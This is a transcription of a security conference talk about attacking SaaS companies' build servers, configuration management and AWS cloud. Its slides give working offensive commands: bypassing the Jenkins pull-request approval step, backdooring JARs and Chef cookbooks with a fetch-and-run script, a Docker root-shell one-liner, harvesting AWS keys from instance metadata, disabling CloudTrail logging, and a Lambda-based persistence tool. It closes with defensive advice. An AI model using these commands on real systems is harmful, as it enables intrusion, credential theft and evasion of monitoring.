Attacking Modern SaaS Companies. Sean Cassidy

Transcription

1 Attacking Modern SaaS Companies Sean Cassidy

2 Who I am How to Implement Crypto Poorly 2

3 Software-as-a-Service 3

4 Software-as-a-service 4

5 Motivation 5

6 * *Except that it's actually pretty different 6

7 7

8 Goal of this talk Explain how SaaS software is made How we use the cloud And why that's useful for you to know as security/it people This is a huge topic, so this is an introduction Breadth over depth 8

9 The Conclusion 9

10 Access to developer's laptop Config Container Artifact Build NoSQL Cloud Management Server Server API Config DB = Access to everything 10

11 Access to anything = Access to everything 11

12 Why are SaaS companies different? 12

13 How are SaaS Companies Different? Fast, iterative development process Lots of automation Empowered engineers Lots of brand new, powerful tools Lack of security culture 13

14 There are also weaknesses 14

15 Weaknesses of SaaS Companies Linchpin servers Fast, iterative development process But usually not much security monitoring Lots of automation No security strategy or planning Empowered engineers You can use them evil tools Lots of brand new, for powerful Little of to security no budget for security Lack culture 15

16 Building a SaaS Product 16

17 Building a SaaS Product Components Build server Deployment Config management Provisioning Infrastructure-as-a-service More cloud specific 17

18 Building a SaaS Product Build Server Continuous Integration builds the code and runs tests 18

19 Continuous Integration 19

20 Continuous Integration Build is triggered Source code is downloaded Source code is compiled Tests are run Software is packaged Uploaded to artifact server 20

21 Here's an example of one way to get in 21

22 Continuous Integration dot slash hack We want to run our code on their Jenkins so that we can backdoor everything it builds 22

23 Continuous Integration dot slash hack Anyone can submit a PR on public Github projects 23

24 Continuous Integration dot slash hack Some people use Jenkins public Github projects 24

25 Continuous Integration dot slash hack If we submit a PR, will it just run our code? 25

26 Continuous Integration dot slash hack 26

27 Continuous Integration dot slash hack 27

28 Continuous Integration dot slash hack " When a new pull request is opened in the project and the author of the pull request isn't whitelisted, builder will ask "Can one of the admins verify this patch?" One of the admins can comment ok to test to accept this pull request for testing, test this please for one time test run and add to whitelist to add the author to the whitelist. 28

29 Continuous Integration dot slash hack Five minutes sounds like polling 29

30 Continuous Integration How GHPRB works 1. Every 5 minutes, poll 2. Find every open pull request 3. Check To see if the author is whitelisted, or The PR is accepted (once or forever) 4. If not, post comment 5. If so, build PR and run tests 30

31 Continuous Integration Work around GHPRB Post innocuous PR that requires running tests Bot will post "Can admin verify?" within 5 minutes Admin user will write "test this please" Within 5 minutes, force push a new malicious commit git commit --amend -a; git push -f Avoid s this! 31

32 Continuous Integration dot slash hack 32

33 Continuous Integration dot slash hack 33

34 Continuous Integration dot slash hack 34

35 Continuous Integration dot slash hack 35

36 Continuous Integration dot slash hack 36

37 What do you do if you get shell on Jenkins? 37

38 Backdooring Jenkins We can read/write to any file Jenkins controls jenkins:~$ ls -al -rw-r--r-- 1 jenkins jenkins -rw-r--r-- 1 jenkins jenkins drwxr-xr-x 2 jenkins jenkins drwx jenkins jenkins drwxr-xr-x 2 jenkins jenkins drwxr-xr-x 2 jenkins jenkins drwxr-xr-x 4 jenkins jenkins drwxr-xr-x 4 jenkins jenkins Apr Mar Apr Mar Apr Mar Mar Mar :24 23:31 19:59 19:11 21:16 23:32 19:14 19:13 config.xml credentials.xml.m2 secrets updates usercontent users workspace 38

39 Backdooring Jenkins JARs You don't need the actual class. Same classpath and signature is enough package hacked; import victim.myclass; public class Hacked { public static void main(string...args) { System.out.println("hacked!"); MyClass.main(args); } } 39

40 Backdooring Jenkins JARs $ echo "Main-class: hacked.hacked" > addition $ jar uf victim.jar hacked/ $ jar umf addition victim.jar $ java -jar victim.jar Hacked! 40

41 41

42 Continuous Integration dot slash hack There's loads more you can do with this See Jonathan Claudius's 2013 talk: "Attacking Cloud Services with Source Code" 42

43 Building a SaaS Product Components Build server Deployment Config management Provisioning Infrastructure-as-a-service More cloud specific 43

44 Deployment 44

45 Deployment LXC (Docker, CoreOS, etc.) Virtualized OS with all dependencies included CI will usually build the entire image Configuration management software Chef Puppet Ansible, etc. Custom Scripts 45

46 Security Pitfalls Easy Docker Root Shell If the user is in the docker group, they can run containers without sudo $ docker run -v /home/${user}:/h_docs ubuntu \ bash -c "cp /bin/bash /h_docs/rootshell && chmod 4777 /h_docs/rootshell;" $ ls -la rootshell -rwsrwxrwx 1 root root Apr 17 rootshell $ ~/rootshell -p # whoami root Source: Zachary Keeton 46

47 47

48 48

49 Building a SaaS Product Components Build server Deployment Config management Provisioning Infrastructure-as-a-service More cloud specific 49

50 Config Management 50

51 Configuration Management Your software depends on ntpd running and the time being correct Recent Linux kernel version imagemagick installed Are all 175 nodes up to date? Do they have these packages installed? How do you peer review and approve changes? 51

52 Configuration Management Chef Infrastructure as code Describe what, not how directory '/opt/application/config' do owner 'service' mode '0750' action :create recursive true end 52

53 Configuration Management Chef and Knife Knife is the CLI to interact with Chef ~/.chef/knife.rb Where the Chef server is ~/.chef/user.pem The private RSA key for Knife 53

54 Chef For the attacker List of every node in every environment knife node list Installed packages for every machine knife search "*" -a packages Kernel version knife search "*" -a kernel.release Secrets knife search "*" -l grep password 54

55 Chef For the attacker Find more data knife data bag list knife data bag show ssl certs Run arbitrary SSH commands knife ssh "*" COMMAND This will prompt for SSH auth 55

56 Chef Backdooring everything knife search "*" -a recipes sort uniq -c sort -n -r head 106 zsh::default 106 sysstat::default 106 sudo::default 106 slack_handler::default 106 slack::default 56

57 Chef Backdooring everything knife cookbook download zsh cat backdoor.rb >> zsh/recipe/default.rb knife cookbook upload zsh cat backdoor.rb bash 'backdoor' do code <<-EOF wget bash bad.sh EOF end 57

58 Building a SaaS Product Components Build server Deployment Config management Provisioning Infrastructure-as-a-service More cloud specific 58

59 Provisioning 59

60 Provisioning The web console Slow, inaccurate, hard to review changes CLI aws ec2 run-instance --image-id someid Provisioning CloudFormation OpenStack Heat Terraform 60

61 Terraform resource "aws_instance" "web" { instance_type = "t2.micro" ami = "some_ami_id" subnet_id = "${aws_subnet.default.id}" } $ terraform plan $ terraform apply 61

62 Scary! $ terraform destroy -force This can be mitigated by Auto-scaling groups Restricting permissions 62

63 Provisioning Pitfalls If you can run provisioning commands or scripts, you can do (almost) anything Continuous integration usually runs provisioning If you're really bold, just check in your backdoor 63

64 Building a SaaS Product Components Build server Deployment Config management Provisioning Infrastructure-as-a-service More cloud specific 64

65 65

66 The Cloud Access Keys Key: ASIAXD5KAAKA8WW3T029 Secret: jd5mdxiztfuvr+doq/ltklt8bml7nwzbnxh8rvaiko4 ml3/4nq/yk 66

67 The Cloud Access Keys Find them baked into application's config Developer's machines or Jenkins ~/.aws/credentials Sometimes committed to source control and then reverted git rev-list --all xargs git grep 'A[A-Z0-9]{19}' 67

68 68

69 The Cloud Roles Avoid baking in keys: use roles! No keys, the node itself is authorized Ex: prod-file-uploader-role PUT to S3 prod-account-service-role Create new IAM roles with custom policies Create new S3 buckets 69

70 How else can you get access keys? (AWS) some-ec2-node $ curl -s /iam/security-credentials/ prod-file-uploader-role some-ec2-node $ curl -s /iam/security-credentials /prod-file-uploader-role 70

71 How else can you get access keys? (AWS) some-ec2-node $ curl -s /iam/security-credentials /prod-file-uploader-role { "AccessKeyId": "ASIAXD5KAAKA8WW3T029" "SecretAccessKey": "KJidf3k209/kq3wJXz1j.." "Token": "DS2jja09tiyBn/////////ajd31JEw.." } 71

72 AWS Access Keys from AWS Roles Keys works outside of that instance and VPC Valid for up to an hour Need all three parts to work: $ export AWS_ACCESS_KEY_ID=ASIAXD5KAAKA8WW3T029 $ export AWS_SECRET_ACCESS_KEY=KJidf3k209/kq3wJXz1j.. $ export AWS_SESSION_TOKEN=DS2jja09tiyBn/////////ajd31.. Then you can do whatever that role can do $ aws ec2 describe-instances $ aws ec2 terminate-instances --instance-ids... 72

73 What can the EC2 Instance Metadata API do? some-ec2-node $ curl -s /instance-identity/document/ { "privateip" : " ", "availabilityzone" : "us-east-1a", "instanceid" : "i-19c466fde3aba901a", "instancetype" : "t2.small", "accountid" : " ", "imageid" : "ami-3eb083aa", } 73

74 What can the EC2 Instance Metadata API do? some-ec2-node $ curl -s #!/bin/bash # # Bootstrap script for EC2 #... code here, maybe passwords, secrets, etc. 74

75 The Cloud Logs 75

76 Cloud Logs Disrupting Logging aws cloudtrail delete-trail --name CloudTrail aws cloudtrail stop-logging --name CloudTrail aws cloudtrail update-trail --name CloudTrail --no-is-multi-region-trail --no-include-global-service-events aws s3 rb --force s3://my-cloudtrail-bucket S3 lifecycle rule to delete logs after 1 second Encrypt the logs with a key the company doesn't have Source: Daniel Grzelak 76

77 Building a SaaS Product Components Build server Deployment Config management Provisioning Infrastructure-as-a-service More cloud specific 77

78 Backdoors 78

79 AWS Remote Access Tool How do you persist your compromise of AWS? If you just use a user with credentials, those users and credentials are often audited If you start an EC2 instance, that costs money, very visible What to do instead? 79

80 AWS RAT Lambda Serverless computing Upload code, don't run servers Underutilized feature Free tier eligible Can assign a role to the lambda Roles are less often audited than Users Deploy in a region that they don't use 80

81 AWS RAT Long-evans Optionally disables CloudTrail logging Provisions admin account for itself Installs innocuous Lambda Run it and see if your logging alerts or not 81

82 82

83 Blue Team 83

84 Advice for Blue Team Restrict direct developer access Automate everything Don't use the web console or CLI Continuous integration and monitoring is essential Peer review Choose new tech carefully What happens if X is compromised? 84

85 Advice for Blue Team Multiple Accounts Use Roles Isolate business and functional units Minimizes blast radius Reduce compliance and regulatory surface area Centrally manage and monitor many teams More information: aws-multi-account-security-strategy/ 85

86 Cloud Logs What to alert on New access keys New provisioned users/roles/groups New instances/lambdas Suspicious Console Logins Disruption of logging And much more! 86

87 Thanks! Website: